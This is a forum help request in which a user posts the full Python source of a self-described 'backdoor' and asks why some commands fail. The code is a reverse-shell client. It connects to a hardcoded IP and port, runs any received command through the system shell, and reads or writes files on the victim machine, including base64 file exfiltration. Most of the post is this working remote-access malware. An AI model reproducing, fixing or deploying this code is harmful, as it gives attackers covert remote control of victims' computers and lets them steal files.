hello i wrote off all the backdoor code and everything works except when i try dir or more commands i get this error maybe someone could help me fix it

BackDoor Code:

#!/usr/bin/env python
import socket
import subprocess
import json
import os
import base64

class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))

def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)

def reliable_receive(self):
json_data = “”
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue

def execute_system_command(self, command):

return subprocess.check_output(command, shell=True)

def change_working_directory_to(self, path):
os.chdir(path)
return “[+] Changing working directory to ” + path

def read_file(self, path):
with open(path, “rb”) as file:
return base64.b64encode(file.read())

def write_file(self, path, content):
with open(path, “wb”) as file:
file.write(base64.b64decode(content))
return “[+] Upload successful.”

def run(self):
while True:
command = self.reliable_receive()

try:
if command[0] == “exit”:
self.connection.close()
exit()
elif command[0] == “cd” and len(command) > 1:
command_result = self.change_working_directory_to(command[1])
elif command[0] == “download”:
command_result = self.read_file(command[1])
elif command[0] == “upload”:
command_result = self.write_file(command[1], command[2])
else:
command_result = self.execute_system_command(command)
except Exception:
command_result = “[-] Error during comand execution.”

self.reliable_send(command_result)

my_backdoor = Backdoor(“192.168.79.137”, 4444)
my_backdoor.run()